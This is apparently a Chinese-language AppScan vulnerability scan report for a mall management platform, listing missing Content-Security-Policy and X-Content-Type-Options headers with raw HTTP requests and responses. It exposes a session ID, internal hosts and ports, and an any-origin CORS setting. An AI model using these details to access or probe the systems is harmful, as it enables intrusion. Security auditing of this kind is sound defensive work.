    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
   <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   k rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
   <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
       .error {
         color: red;
        .toptitle{font-family:"
                                      微软雅黑";font-size:16px;padding-top:10px;}
        body{background-color:#F2F4F4;}
        #login-background{background-color:#730000;}
   </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
        <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px 0;">
                         <img src="image/toptitle.png" style="width:80%;"/>
                         <div class="toptitle">
                                                   资源商城管理平台</div>
                </div>
         <!-- Login Form -->
```

问题 2 / 4 Toc

缺少"Content-Security-Policy"头	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodstree.html
实体:	goodstree.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"Content-Security-Policy"头

变体-|1/2

差异:

推理:

AppScan 检测到 Content-Security-Policy 响应头缺失,这可能会更大程度得暴露于各种跨站点注入攻击下之

测试请求和响应:

```
GET /static/goodstree.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: text/html, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 12614
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #gcl-goodstree table td {
       text-align: center;
       line-height: 28px;
    #gcl-goodstree table th {
       text-align: center;
       line-height: 28px;
</style>
<div class="newpage-con padding-10">
   <div class="row">
        <!-- 左侧开始 -->
       <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
         <div class="block-title">
         <h4>资产分类树</h4>
         </div>
         <!--<div id="companylist tree" class="tree list"></div>-->
         </div>
       </div>
       <!-- 左侧结束 -->
```

```
<!-- 右侧开始 -->
        <div class="col-xs-9">
         <div class="block full">
          <!-- Table Styles Title -->
          <div class="block-title">
          <h2>资产信息</h2>
          </div>
          <!-- END Table Styles Title -->
          <div id="gcl-goodstree_table">
          </div>
          </div>
        </div>
       <!-- 右侧结束 -->
   </div>
</div>
<script type="text/javascript">
    //初始化列表
    $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
        var tableHeight = ($(document).height() - 295) + "px"; //表格的属性对象,用于初始化表格的设置
       //var goodsURL =goodsURL;
//
        goodsURL="http://test.vr.weilian.cn:40884/";
        var option = {
         height: tableHeight,
          search: {
                placeHolder:"捜索资产编码、资产名称"
          tools: false,
          handleCol:false, //屏蔽操作列
          url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
// 表格的头部,有多少列,就写多少
          columns: [{
filed: "资产编码",
          name: "goodscode"
          }, {
          filed: "拼音码",
          name: "opcode"
          filed: "资产名称",
          name: "goodsname"
          }, {
          filed: "规格",
          name: "goodsspec"
          }, {
          filed: "型号",
          name: "goodsmodel"
          filed: "资产分类",
          name: "classname"
          filed: "产地",
          name: "prodarea"
          }, {
          filed: "状态",
          name: "status"
          filed: "品牌",
          name: "brandname"
          filed: "财务编码",
          name: "barcode"
          }, {
          filed: "上限",
          name: "stupperlimit"
          filed: "下限",
          name: "stlowerlimit"
          filed: "大类码标记",
         name: "classcodeflag"
}, {
```

```
filed: "登记人",
         name: "inputmanname"
         filed: "登记时间",
         name: "bookindate"
         filed: "id",
         name: "goodsid"
         }],
         columnDefs: [{ //隐藏列,序号+
         "targets": [3,8,12,13,14,17],
"visible": false
         }, {
         render: function(data, type, row) { // 格式化 列
         return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
         targets: [16]
         }, { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         //return "<pp keyword=PUB BASIC NEW STATUS>" + data + "</pp>"
               if(data==1){
                       return "正常";
               }else if(data==2){
                      return "冻结";
               }else{
                       return "";
         },
         targets: [9]
         { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         if(data==undefined || data==null){
         return ""
         }else {
. . .
```

变体-|2/2

差异:

推理: AppScan 检测到 Content-Security-Policy 响应头缺失,这可能会更大程度得暴露于各种跨站点注入攻击下之

测试请求和响应:

```
OPTIONS /static/goodstree.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 12614
\verb|Access-Control-Allow-Headers: x-requested-with, content-type, sessionid|\\
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
```

```
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #gcl-goodstree table td {
       text-align: center;
       line-height: 28px;
    #gcl-goodstree_table th {
        text-align: center;
       line-height: 28px;
</style>
<div class="newpage-con padding-10">
    <div class="row">
        <!-- 左侧开始 -->
        <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
          <div class="block-title">
          <h4>资产分类树</h4>
          </div>
          <!--<div id="companylist tree" class="tree list"></div>-->
          </div>
        </div>
        <!-- 左侧结束 -->
        <!-- 右侧开始 -->
        <div class="col-xs-9">
         <div class="block full">
          <!-- Table Styles Title -->
         <div class="block-title">
         <h2>资产信息</h2>
         </div>
          <!-- END Table Styles Title -->
          <div id="gcl-goodstree table">
          </div>
         </div>
        </div>
       <!-- 右侧结束 -->
   </div>
</div>
<script type="text/javascript">
    //初始化列表
    $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
       var tableHeight = ($(document).height() - 295) + "px"; //表格的属性对象,用于初始化表格的设置
       //var goodsURL =goodsURL;
        goodsURL="http://test.vr.weilian.cn:40884/";
//
       var option = {
         height: tableHeight,
          search: {
               placeHolder:"搜索资产编码、资产名称"
          tools: false,
          handleCol:false, //屏蔽操作列
         url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
// 表格的头部,有多少列,就写多少
          columns: [{
filed: "资产编码",
          name: "goodscode"
          filed: "拼音码",
          name: "opcode"
          filed: "资产名称",
          name: "goodsname"
          filed: "规格",
          name: "goodsspec"
          }, {
          filed: "型号",
         name: "goodsmodel"
```

```
}, {
         filed: "资产分类",
         name: "classname"
         }, {
         filed: "产地",
         name: "prodarea"
         }, {
         filed: "状态",
         name: "status"
         }, {
         filed: "品牌",
         name: "brandname"
         filed: "财务编码",
         name: "barcode"
         }, {
         filed: "上限",
         name: "stupperlimit"
         }, {
         filed: "下限",
         name: "stlowerlimit"
         filed: "大类码标记",
         name: "classcodeflag"
         filed: "登记人",
         name: "inputmanname"
         }, {
         filed: "登记时间",
         name: "bookindate"
         }, {
         filed: "id",
         name: "goodsid"
         columnDefs: [{ //隐藏列,序号+
         "targets": [3,8,12,13,14,17],
"visible": false
         }, {
         render: function(data, type, row) { // 格式化 列
         return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
         targets: [16]
         }, { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         //return "<pp keyword=PUB_BASIC_NEW_STATUS>" + data + "</pp>"
              if(data==1){
                     return "正常";
               }else if(data==2){
                     return "冻结";
               }else{
                     return "";
         },
         targets: [9]
         { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         if(data==undefined || data==null) {
. . .
```

问题 **3** / **4** Toc

缺少"Content-Security-Policy"头	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodscontrolList.html
实体:	goodscontrolList.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"Content-Security-Policy"头

差异:

推理: AppScan 检测到 Content-Security-Policy 响应头缺失,这可能会更大程度得暴露于各种跨站点注 入攻击下之

测试请求和响应:

```
OPTIONS /static/goodscontrolList.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 17906
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #goodscontrol-table td {
       text-align: center;
        line-height: 28px;
    #goodscontrol-table th {
       text-align: center;
       line-height: 28px;
</style>
<div class="row">
    <div class="col-xs-12">
        <div id="goodscontrol-table"></div>
</div>
<!--查询模板-->
<script id="goodscontrol_searchTempl" type="text/html">
    <div id="ins-search" class="from table con">
        <div class="form-group">
          <form method="post" id="goodscontrolsearchForm" role="form">

          资产编码
```

```
<input type="text" class="form-control goods se entry" name="goodscode"</pre>
        id="goodscontrolcode"
        autocomplete="off"/>
        <input type="hidden" name="goodsid" id="goodscontrolid"/>
        资产名称
        <input type="text" class="form-control" name="goodsname" id="goodsname"/>
        上下架状态
        <select id="goodscontrolselect" name="status" class="form-control" type="text">
        <option value>--请选择--
        <option value='2'>待上架</option>
        <option value='1'>上架</option>
        <option value='0'>下架</option>
        </select>
        </form>
        </div>
       </div>
   </div>
</script>
<!--查询模板-->
<script id="ongoods Temp" type="text/html">
   <div id="ongoods Dig" class="from table con">
       <div class="form-group">
        <div>
        <form method="post" id="on_goods_form" role="form">

        <!-- <td>上架时间
        <input type="text" class="form-control " id="od begindate" name="begindate"</pre>
        value="">
        下架时间
        <input type="text" class="form-control " id="od enddate" name="enddate"</pre>
        value="">
        -->
                                           确认上架
        </form>
        </div>
       </div>
   </div>
</script>
<script type="text/javascript">
   //初始化js
   $(function () {
       //var goodsURL = "http://test.vr.weilian.cn:40884/";
       var goodsURLs = goodsURL;
       //初始化上下架管理列表
       var option = {
        plusBtn: [{
        id: "queryGoodscontrolBtn",
        text: "查询",
clazz: "btn btn-primary btn-sm",
        iconClass: "fa fa-grav"
       },{
```

```
id: "onGoodscontrolBtn",
text: "上架",
clazz: "btn btn-primary btn-sm",
iconClass: "fa fa-grav"
}, {
id: "offGoodscontrolBtn",
text: "下架",
clazz: "btn btn-primary btn-sm",
iconClass: "fa fa-grav"
}],
//自定义按钮绑定事件
onInit: function () {
```

问题 **4** / **4** Toc

缺少"Content-Security-Policy"头	
严重性:	低
CVSS 分数:	5.0
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/ditionary/List
实体:	List (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"Content-Security-Policy"头

差异:

推理: AppScan 检测到 Content-Security-Policy 响应头缺失,这可能会更大程度得暴露于各种跨站点注入攻击下之

测试请求和响应:

```
GET /ditionary/List HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
 Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
 Accept-Language: en-US, en; q=0.8
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
 Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 Server: openresty
 Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
 Access-Control-Allow-Origin: *
 X-Hit-Server: nginx-2
 Connection: keep-alive
 Vary: Accept-Encoding
 Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
```

```
Transfer-Encoding: chunked
{
  "data": [
                  "": [
                                     "id": 2039,
                                      "ddlid": 0,
                                      "keyword": "",
                                      "ddlname": "",
                                      "usestatus": 1,
                                      "note": ""
                                    "id": 2040,
                                      "ddlid": 1,
"keyword": "",
"ddlname": "",
                                      "usestatus": 1,
                                      "note": ""
                                    "id": 2041,
                                      "ddlid": 5689,
                                      "keyword": "",
"ddlname": "",
                                      "usestatus": 0,
                                      "note": ""
                                    "id": 2042,
"ddlid": 5321,
                                      "keyword": "",
"ddlname": "",
                                      "usestatus": 0,
                                      "note": ""
                             }
                                     "id": 2044,
                                      "ddlid": 333,
                                      "keyword": "",
"ddlname": "",
                                      "usestatus": 0,
                                      "note": ""
                                    "id": 99999995,
                                      "ddlid": 2,
"keyword": "",
"ddlname": "
                                                          待服务",
                                      "usestatus": 1,
                                      "note": null
                    "PUB GOODSCLASS LEVEL": [
                                     "id": 125,
                                      "ddlid": 1,
                                      "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 一级",
                                      "ddlname":
"usestatus": 1,
商品分类级别A"
                                     "id": 318,
                                      "ddlid": 2,
                                      "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 二级",
                                      二级",
                             }
                                     "id": 466,
                                      "ddlid": 3,
                                      "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "三级",
                                                        三级",
                                      "usestatus": 1,
```

```
"note": " 商品分类级别A"
                 "id": 569,
                 "ddlid": 4,
                 "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "四级",
                                   四级",
                 "usestatus": 1,
                 "note": "
                              商品分类级别A"
                 "id": 647,
                 "ddlid": 5,
                "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": 五级",
                                    五级",
                 "usestatus": 1,
                                 商品分类级别A"
                 "note": "
                 "id": 990,
                "ddlid": 0,
                "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "零级",
                "SP_TR_DISPATCH_ROUTE": [
               "id": 274,
                "ddlid": 1,
"keyword": "SP_TR_DISPATCH_ROUTE",
"ddlname": " 南线",
                 "usestatus": 1,
                 "note": "
                                 路线A"
"SP SA RT GT BANKCARD BANKCARDID": [
               {
"id": 1246,
                 "ddlid": 111,
                "keyword": "SP_SA_RT_GT_BANKCARDID",
"ddlname": "中国银行",
                "ddlname."
"usestatus": 1,
" " 银行A"
               "id": 1247,
                 "ddlid": 112,
                "keyword": "SP_SA_RT_GT_BANKCARDID",
"ddlname": " 农业银行",
                 "usestatus": 1,
                 "note": "
                                 银行A"
               "id": 1248,
                 "ddlid": 113,
                "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID", "ddlname": "工商银行",
                "ddlname":
"usestatus": 1,
" 银行A"
"PUB_TIMETYPE": [
                 "id": 138,
                 "ddlid": 1,
                "keyword": "PUB_TIMETYPE",
"ddlname": 我方入库
                                   我方入库时间",
                 "usestatus": 1,
"note": " 补充协议时间类型A"
        }
               "id": 329,
                 "ddlid": 2,
                 "usestatus": 1,
```

```
"note": "补充协议时间类型A"
"BBB": [
                "id": 2035,
                  "ddlid": 888,
                  "keyword": "BBB",
"ddlname": "ccc",
                  "usestatus": 0,
                  "note": "ddd"
"SALECANCELMONEYSTATUS": [
                "id": 99999002,
                 "ddlid": 0,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": "退款中",
                  "usestatus": 1,
                 "note": "
                                  退款单退款状态"
                {
"id": 99999003,
                 "ddlid": 1,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": 已退款",
                 "usestatus": 1,
"note": "退款单退款状态"
                "id": 99999005,
                 "ddlid": 2,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": 退款失败",
                  "usestatus": 1,
                  "note": "退款单退款状态"
                "id": 99999006,
                  "ddlid": 3,
                 "keyword": "SALECANCELMONEYSTATUS", "ddlname": 退款成功",
                  "usestatus": 1,
"note": " 退款单退款状态"
                "id": 99999007,
                  "ddlid": 4,
                 "keyword": "SALECANCELMONEYSTATUS", "ddlname": " 特退款",
                  "usestatus": 1,
                  "note": "
                                  退款单退款状态"
"SP_INVOICE_TYPE": [
                "id": 52,
                  "ddlid": 0,
                  "keyword": "SP INVOICE TYPE",
                          d
```

低 缺少"X-Content-Type-Options"头 **₄**

TOO

问题 **1 / 4** Toc

缺少"X-Content-Type-Options"头	
严重性:	低 (低
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	(Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"X-Content-Type-Options"头

差异:

推理: AppScan 检测到 X-Content-Type-Options 响应头缺失,这可能会更大程度得暴露于偷渡式下载攻击之下

测试请求和响应:

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
   <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
```

```
<link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
   <!-- END Icons -->
   <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
   <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
   <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
   <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
       .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px 0;">
                        <img src="image/toptitle.png" style="width:80%;"/>
                                                      资源商城管理平台</div>
                         <div class="toptitle">
                 </div>
```

```
<!-- Login Form -->
...
...
```

问题 **2** / **4** Toc

缺少"X-Content-Type-Options"头	
严重性:	低
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodstree.html
实体:	goodstree.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全

变体-|1/2

差异:

推理: AppScan 检测到 X-Content-Type-Options 响应头缺失,这可能会更大程度得暴露于偷渡式下载攻击之下

测试请求和响应:

```
GET /static/goodstree.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: text/html, */*; q=0.01
Origin: \verb|http://system-rest-enterprise.mall.xt.weilian.cn|
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 12614
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #gcl-goodstree_table td {
       text-align: center;
        line-height: 28px;
    #gcl-goodstree_table th {
       text-align: center;
```

```
line-height: 28px;
</style>
<div class="newpage-con padding-10">
   <div class="row">
        <!-- 左侧开始 -->
        <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
<div class="block-title">
          <h4>资产分类树</h4>
          </div>
          <!--<div id="companylist tree" class="tree list"></div>-->
          </div>
        </div>
        <!-- 左侧结束 -->
        <!-- 右侧开始 -->
        <div class="col-xs-9">
         <div class="block full">
          <!-- Table Styles Title -->
         <div class="block-title">
          <h2>资产信息</h2>
          </div>
          <!-- END Table Styles Title -->
          <div id="gcl-goodstree_table">
         </div>
         </div>
        </div>
       <!-- 右侧结束 -->
    </div>
</div>
<script type="text/javascript">
    //初始化列表
    $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
       var tableHeight = ($(document).height() - 295) + "px"; //表格的属性对象,用于初始化表格的设置
       //var goodsURL =goodsURL;
//
        goodsURL="http://test.vr.weilian.cn:40884/";
        var option = {
         height: tableHeight,
          search: {
               placeHolder:"搜索资产编码、资产名称"
          },
          tools: false,
          handleCol:false, //屏蔽操作列
         url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
          // 表格的头部,有多少列,就写多少
          columns: [{
filed: "资产编码",
name: "goodscode"
          filed: "拼音码",
         name: "opcode"
          }, {
          filed: "资产名称",
          name: "goodsname"
          }, {
          filed: "规格",
          name: "goodsspec"
          filed: "型号",
          name: "goodsmodel"
          filed: "资产分类",
          name: "classname"
          filed: "产地",
          name: "prodarea"
          }, {
          filed: "状态",
         name: "status"
```

```
}, {
         filed: "品牌",
         name: "brandname"
         filed: "财务编码",
         name: "barcode"
         }, {
         filed: "上限",
         name: "stupperlimit"
         filed: "下限",
         name: "stlowerlimit"
         filed: "大类码标记",
         name: "classcodeflag"
         filed: "登记人",
         name: "inputmanname"
         }, {
         filed: "登记时间",
         name: "bookindate"
         filed: "id",
         name: "goodsid"
         }],
         columnDefs: [{ //隐藏列,序号+
         "targets": [3,8,12,13,14,17],
"visible": false
         }, {
         render: function(data, type, row) { // 格式化 列
         return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
         targets: [16]
         }, { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         //return "<pp keyword=PUB BASIC NEW STATUS>" + data + "</pp>"
               if(data==1){
                      return "正常";
               }else if(data==2){
                      return "冻结";
               }else{
                       return "";
         },
         targets: [9]
         { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         if(data==undefined || data==null){
         return ""
         }else {
. . .
```

变体-|2/2

差异:

推理: AppScan 检测到 X-Content-Type-Options 响应头缺失,这可能会更大程度得暴露于偷渡式下载攻击之下

测试请求和响应:

```
OPTIONS /static/goodstree.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 12614
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
    #gcl-goodstree table td {
       text-align: center;
        line-height: 28px;
    #gcl-goodstree_table th {
        text-align: center;
        line-height: 28px;
</style>
<div class="newpage-con padding-10">
   <div class="row">
         <!-- 左侧开始 -->
        <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
          <div class="block-title">
          <h4>资产分类树</h4>
         <!--<div id="companylist tree" class="tree list"></div>-->
         </div>
        </div>
        <!-- 左侧结束 -->
        <!-- 右侧开始 -->
        <div class="col-xs-9">
         <div class="block full">
          <!-- Table Styles Title -->
